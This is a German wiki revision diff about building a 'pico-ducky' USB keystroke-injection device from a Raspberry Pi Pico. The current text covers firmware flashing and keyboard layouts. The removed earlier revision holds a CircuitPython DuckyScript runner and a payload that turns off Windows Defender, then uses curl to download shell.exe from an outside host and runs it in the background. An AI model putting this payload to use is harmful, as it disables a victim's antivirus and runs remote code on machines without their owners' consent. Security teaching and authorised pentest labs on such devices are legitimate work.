Raspberry pico: Unterschied zwischen den Versionen

Aus xinux.net
Zur Navigation springen Zur Suche springen
(43 dazwischenliegende Versionen von 2 Benutzern werden nicht angezeigt)
Zeile 1: Zeile 1:
 
=Spezifikationen=
 
=Spezifikationen=
*RP2040 Mikrocontroller-Chip
+
*[[Spezifikationen]]
*Dual-Core-Arm Cortex M0+ Prozessor, flexibler Takt mit bis zu 133 MHz                                                           
 
*264 KB SRAM und 2 MB integrierter Flash-Speicher
 
*Direktes Löten auf der Platine möglich
 
*USB 1.1 mit Geräte- und Hostunterstützung
 
*Energiesparmodus und Ruhezustand
 
*Drag-and-Drop-Programmierung über USB
 
*26 GPIO-Pins (3.3V)
 
*2 × SPI, 2 × I2C, 2 × UART, 3 × 12-Bit-ADC, 16 × steuerbare PWM-Kanäle
 
*RTC und Timer auf dem Chip
 
*Temperatursensor
 
*Gleitkomma-Bibliotheken auf dem Chip
 
*8 × Programmierbare I/O State Machines (PIO) für benutzerdefinierte Peripherieunterstützung
 
  
[[Datei:Raspberry-pi-pico-pinout.webp]]
 
  
=Adafruit Install=
+
=Adafruit Firmware Installieren=
*https://circuitpython.org/board/raspberry_pi_pico/
+
*Wir laden nun die Firmware für den Raspberry pico herunter
*https://downloads.circuitpython.org/bin/raspberry_pi_pico/de_DE/adafruit-circuitpython-raspberry_pi_pico-de_DE-7.0.0.uf2
+
*In dieser Firmware von dem Hersteller Adafruit sind Spezielle Micropython Module vorhanden, die eine Tastertur simulieren können.
=Copy File=
 
*cp ~/Download/adafruit-circuitpython-raspberry_pi_pico-de_DE-7.0.0.uf2 .
 
Nach ein paar Sekunden wird eine "USB-Stick" mit dem Namen "CIRCUITPY" gemountet
 
  
=Script=
+
wget https://downloads.circuitpython.org/bin/raspberry_pi_pico/de_DE/adafruit-circuitpython-raspberry_pi_pico-de_DE-7.0.0.uf2
* Damit der Payload bearbeitet werden kann, muss PIN 15 mit GND verbunden werden
 
* Wenn PIN 15 nicht mit GND verbunden ist, wird das Filesystem nicht gemountet
 
  
==Deutsches "Tastertur" Layout Einfügen==
+
==Flashen des Raspberry Pico`s==
*Das vornstallierte Englische Layout und die Keycodes müssen ersetzt werden
+
[[Datei:Pico_Bootsl.png]]
*Verschieden Sprachen findet man in der Git Repo
+
*Schließen Sie das Gerät an einen USB-Anschluss an, während Sie die BOOTSEL gedrückt halten
  https://github.com/Neradoc/Circuitpython_Keyboard_Layouts
+
*Es wird als Wechseldatenträger namens RPI-RP2 angezeigt.
*Circuitpython_Keyboard_Layouts
+
===Micro Python Firmware===
**libraries
+
*Kopieren Sie die heruntergeladene .uf2-Datei in das Stammverzeichnis des Pico (RPI-RP2).
 +
  cp adafruit-circuitpython-raspberry_pi_pico-de_DE-7.0.0.uf2 /media/$USER/RPI-RP2/
 +
*Das Gerät wird neu gestartet und nach etwa einer Sekunde wieder als CIRCUITPY verbunden.
  
==File Mount==
+
===Für Tastatur Emulation===
*[[Raspberry pico File Mount]]
+
*Laden Sie adafruit-circuitpython-bundle-7.x-mpy-YYYYMMDD.zip hier herunter und extrahieren Sie es außerhalb des Geräts.
<syntaxhighlight lang="python">
+
https://github.com/adafruit/Adafruit_CircuitPython_Bundle/releases/download/20221014/adafruit-circuitpython-bundle-7.x-mpy-20221014.zip
import digitalio
 
import storage
 
from board import *
 
  
class DEBUG_MOUNT():
+
*Navigieren Sie im kürzlich extrahierten Ordner zu lib und kopieren Sie adafruit_hid in den lib-Ordner in Ihrem Raspberry Pi Pico.
   
 
    noStorageStatus = False
 
    noStoragePin = digitalio.DigitalInOut(GP15)
 
    noStoragePin.switch_to_input(pull=digitalio.Pull.UP)
 
    noStorageStatus = not noStoragePin.value
 
   
 
    def mount(self):
 
       
 
        if(self.noStorageStatus == True):
 
            # don't show USB drive to host PC
 
            try:
 
                storage.disable_usb_drive()
 
            except:
 
                print("USB drive disabled")
 
           
 
            return "disabled"
 
       
 
        else:
 
            # normal boot
 
            print("USB drive enabled")
 
           
 
            return "enabled"
 
</syntaxhighlight>
 
  
==Payload Ausführer==
+
;Seien Sie vorsichtig, wenn sich Ihr Gerät nicht im Setup-Modus befindet, wird das Gerät neu gestartet und nach einer halben Sekunde wird das Skript ausgeführt.
*[[Raspberry pico Payload Ausführer]]
 
* Bei verschiedenen Tasterturlayouts müssen diese in den lib/adafruit ordner gelegt werden
 
  
<syntaxhighlight lang="python">
+
=Setup-Modus=
import usb_hid
+
*Um die Payload zu bearbeiten, gehen Sie in den Setup-Modus, indem Sie den Pin 1 (GP0) mit Pin 3 (GND) verbinden.
import time
+
*Dadurch wird verhindert, dass der Pico-Ducky die Payload in Ihre eigene Maschine einspeist.  
import digitalio
+
*Der einfachste Weg dazu ist die Verwendung eines Überbrückungskabels zwischen diesen Pins, wie unten gezeigt.
from board import *
 
from debug import DEBUG_MOUNT
 
from adafruit_hid.keyboard import Keyboard
 
from adafruit_hid.keyboard_layout_de import KeyboardLayoutDE
 
from adafruit_hid.keycode_de import Keycode
 
  
 +
[[Datei:Raspberry_pico_setup_mode.png]]
  
duckyCommands = ["WINDOWS", "GUI", "APP", "MENU", "SHIFT", "ALT", "CONTROL", "CTRL", "DOWNARROW", "DOWN",
+
=="Tastertur" Layout Einfügen==
"LEFTARROW", "LEFT", "RIGHTARROW", "RIGHT", "UPARROW", "UP", "BREAK", "PAUSE", "CAPSLOCK", "DELETE", "END",
+
*Es sind nur das vornstallierte Englische Layout und die Keycodes vorhanden
"ESC", "ESCAPE", "HOME", "INSERT", "NUMLOCK", "PAGEUP", "PAGEDOWN", "PRINTSCREEN", "SCROLLLOCK", "SPACE",
+
*Verschieden Sprachen findet man in der Git Repo
"TAB", "ENTER", " a", " b", " c", " d", " e", " f", " g", " h", " i", " j", " k", " l", " m", " n", " o", " p", " q", " r", " s", " t",
+
https://github.com/Neradoc/Circuitpython_Keyboard_Layouts/tree/main/libraries
" u", " v", " w", " x", " y", " z", " A", " B", " C", " D", " E", " F", " G", " H", " I", " J", " K", " L", " M", " N", " O", " P",
+
*Für unseren Fall brauchen wir das Deutsche Layout
" Q", " R", " S", " T", " U", " V", " W", " X", " Y", " Z", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "F11", "F12"]
+
wget https://raw.githubusercontent.com/Neradoc/Circuitpython_Keyboard_Layouts/main/libraries/keycodes/keycode_win_de.py
 +
wget https://raw.githubusercontent.com/Neradoc/Circuitpython_Keyboard_Layouts/main/libraries/layouts/keyboard_layout_win_de.py
 +
*Nun müssen wir die Dateien auf den Pico kopieren
 +
cp -v keycode_win_de.py /media/$USER/CIRCUITPY/lib/
 +
cp -v keyboard_layout_win_de.py /media/$USER/CIRCUITPY/lib/
 +
[[Datei:Raspberry_pico_lib.png]]
  
keycodeCommands = [Keycode.WINDOWS, Keycode.GUI, Keycode.APPLICATION, Keycode.APPLICATION, Keycode.SHIFT, Keycode.ALT, Keycode.CONTROL,
+
=Python Files=
Keycode.CONTROL, Keycode.DOWN_ARROW, Keycode.DOWN_ARROW ,Keycode.LEFT_ARROW, Keycode.LEFT_ARROW, Keycode.RIGHT_ARROW, Keycode.RIGHT_ARROW,
+
==Ändern oder Erstellen sie nun diese Dateien==
Keycode.UP_ARROW, Keycode.UP_ARROW, Keycode.PAUSE, Keycode.PAUSE, Keycode.CAPS_LOCK, Keycode.DELETE, Keycode.END, Keycode.ESCAPE,
+
;Die Datei die vom Bootloader als erstes aufgerufen wird.
Keycode.ESCAPE, Keycode.HOME, Keycode.INSERT, Keycode.KEYPAD_NUMLOCK, Keycode.PAGE_UP, Keycode.PAGE_DOWN, Keycode.PRINT_SCREEN,
+
*boot.py -> [[Raspberry pico File Mount]]
Keycode.SCROLL_LOCK, Keycode.SPACE, Keycode.TAB, Keycode.ENTER, Keycode.A, Keycode.B, Keycode.C, Keycode.D, Keycode.E, Keycode.F, Keycode.G,
+
*code.py - [[Raspberry pico Payload Ausführer]]
Keycode.H, Keycode.I, Keycode.J, Keycode.K, Keycode.L, Keycode.M, Keycode.N, Keycode.O, Keycode.P, Keycode.Q, Keycode.R, Keycode.S, Keycode.T,
+
*payload.dd -> [[Raspberry pico Payload]]
Keycode.U, Keycode.V, Keycode.W, Keycode.X, Keycode.Y, Keycode.Z, Keycode.A, Keycode.B, Keycode.C, Keycode.D, Keycode.E, Keycode.F,
+
*lib
Keycode.G, Keycode.H, Keycode.I, Keycode.J, Keycode.K, Keycode.L, Keycode.M, Keycode.N, Keycode.O, Keycode.P,
+
**keyboard_layout_win_de.py
Keycode.Q, Keycode.R, Keycode.S, Keycode.T, Keycode.U, Keycode.V, Keycode.W, Keycode.X, Keycode.Y, Keycode.Z,
+
**keycode_win_de.py
Keycode.F1, Keycode.F2, Keycode.F3, Keycode.F4, Keycode.F5, Keycode.F6, Keycode.F7, Keycode.F8, Keycode.F9,
 
Keycode.F10, Keycode.F11, Keycode.F12]
 
  
def convertLine(line):
+
==Links==
    newline = []
+
*https://github.com/dbisu/pico-ducky
    print(line)
+
*https://circuitpython.org/board/raspberry_pi_pico/
    for j in range(len(keycodeCommands)):
+
*https://github.com/adafruit/Adafruit_CircuitPython_Bundle/releases/tag/20221014
if line.find(duckyCommands[j]) != -1:
 
    newline.append(keycodeCommands[j])
 
    print(newline)
 
    return newline
 
 
 
def runScriptLine(line):
 
    for k in line:
 
        kbd.press(k)
 
    kbd.release_all()
 
 
 
def sendString(line):
 
    layout.write(line)
 
 
 
def parseLine(line):
 
    if(line[0:3] == "REM"):
 
        # ignore ducky script comments
 
        pass
 
    elif(line[0:5] == "DELAY"):
 
        time.sleep(float(line[6:])/1000)
 
    elif(line[0:6] == "STRING"):
 
        sendString(line[7:])
 
    else:
 
        newScriptLine = convertLine(line)
 
        runScriptLine(newScriptLine)
 
 
 
kbd = Keyboard(usb_hid.devices)
 
layout = KeyboardLayoutDE(kbd)
 
 
 
# sleep at the start to allow the device to be recognized by the host computer
 
time.sleep(.5)
 
 
 
defaultDelay = 300 #Default Delay zwischen den einzelnen Schritten
 
progStatus = DEBUG_MOUNT().mount()
 
   
 
for idx in range(1):  #Der Payload wird 1 mal ausgeführt.
 
 
if(progStatus == "disabled"):
 
    # not in setup mode, inject the payload
 
    duckyScriptPath = "payload.dd"
 
    f = open(duckyScriptPath,"r",encoding='utf-8')
 
    print("Running payload.dd")
 
    previousLine = ""
 
    duckyScript = f.readlines()
 
    for line in duckyScript:
 
line = line.rstrip()
 
if(line[0:6] == "REPEAT"):
 
    for i in range(int(line[7:])):
 
        #repeat the last command
 
        parseLine(previousLine)
 
        time.sleep(float(defaultDelay)/1000)
 
else:
 
    parseLine(line)
 
    previousLine = line
 
time.sleep(float(defaultDelay)/1000)
 
 
 
    print("Done")
 
else:
 
    print("Update your payload")
 
</syntaxhighlight>
 
 
 
==Payload==
 
*[[Raspberry pico Payload]]
 
* Payload in DuckyScript geschrieben
 
<pre>
 
DELAY 3500
 
REM -------------first delay is 1 second (you may need more) to let windows set up the "keyboard"
 
DELAY 1000
 
REM disable windows defender, you may have to fiddle with this
 
CTRL ESC
 
DELAY 1000
 
STRING windows-sicherheit
 
DELAY 1000
 
ENTER
 
DELAY 3000
 
ENTER
 
TAB
 
TAB
 
TAB
 
TAB
 
DELAY 300
 
ENTER
 
DELAY 600
 
SPACE
 
DELAY 600
 
LEFT
 
ENTER
 
DELAY 300
 
ALT F4
 
GUI r
 
DELAY 2000
 
STRING cmd
 
DELAY 600
 
ENTER
 
DELAY 600
 
STRING curl http://fex.tuxmen.de/shell.exe --output shell.exe
 
ENTER
 
DELAY 2000
 
STRING START /b shell.exe
 
ENTER
 
DELAY 200
 
ALT F4
 
</pre>
 

Version vom 4. November 2022, 07:24 Uhr

Spezifikationen


Adafruit Firmware Installieren

  • Wir laden nun die Firmware für den Raspberry pico herunter
  • In dieser Firmware von dem Hersteller Adafruit sind Spezielle Micropython Module vorhanden, die eine Tastertur simulieren können.
wget https://downloads.circuitpython.org/bin/raspberry_pi_pico/de_DE/adafruit-circuitpython-raspberry_pi_pico-de_DE-7.0.0.uf2

Flashen des Raspberry Pico`s

Pico Bootsl.png

  • Schließen Sie das Gerät an einen USB-Anschluss an, während Sie die BOOTSEL gedrückt halten
  • Es wird als Wechseldatenträger namens RPI-RP2 angezeigt.

Micro Python Firmware

  • Kopieren Sie die heruntergeladene .uf2-Datei in das Stammverzeichnis des Pico (RPI-RP2).
cp adafruit-circuitpython-raspberry_pi_pico-de_DE-7.0.0.uf2 /media/$USER/RPI-RP2/
  • Das Gerät wird neu gestartet und nach etwa einer Sekunde wieder als CIRCUITPY verbunden.

Für Tastatur Emulation

  • Laden Sie adafruit-circuitpython-bundle-7.x-mpy-YYYYMMDD.zip hier herunter und extrahieren Sie es außerhalb des Geräts.
https://github.com/adafruit/Adafruit_CircuitPython_Bundle/releases/download/20221014/adafruit-circuitpython-bundle-7.x-mpy-20221014.zip
  • Navigieren Sie im kürzlich extrahierten Ordner zu lib und kopieren Sie adafruit_hid in den lib-Ordner in Ihrem Raspberry Pi Pico.
Seien Sie vorsichtig, wenn sich Ihr Gerät nicht im Setup-Modus befindet, wird das Gerät neu gestartet und nach einer halben Sekunde wird das Skript ausgeführt.

Setup-Modus

  • Um die Payload zu bearbeiten, gehen Sie in den Setup-Modus, indem Sie den Pin 1 (GP0) mit Pin 3 (GND) verbinden.
  • Dadurch wird verhindert, dass der Pico-Ducky die Payload in Ihre eigene Maschine einspeist.
  • Der einfachste Weg dazu ist die Verwendung eines Überbrückungskabels zwischen diesen Pins, wie unten gezeigt.

Raspberry pico setup mode.png

"Tastertur" Layout Einfügen

  • Es sind nur das vornstallierte Englische Layout und die Keycodes vorhanden
  • Verschieden Sprachen findet man in der Git Repo
https://github.com/Neradoc/Circuitpython_Keyboard_Layouts/tree/main/libraries
  • Für unseren Fall brauchen wir das Deutsche Layout
wget https://raw.githubusercontent.com/Neradoc/Circuitpython_Keyboard_Layouts/main/libraries/keycodes/keycode_win_de.py
wget https://raw.githubusercontent.com/Neradoc/Circuitpython_Keyboard_Layouts/main/libraries/layouts/keyboard_layout_win_de.py
  • Nun müssen wir die Dateien auf den Pico kopieren
cp -v keycode_win_de.py /media/$USER/CIRCUITPY/lib/
cp -v keyboard_layout_win_de.py /media/$USER/CIRCUITPY/lib/

Raspberry pico lib.png

Python Files

Ändern oder Erstellen sie nun diese Dateien

Die Datei die vom Bootloader als erstes aufgerufen wird.

Links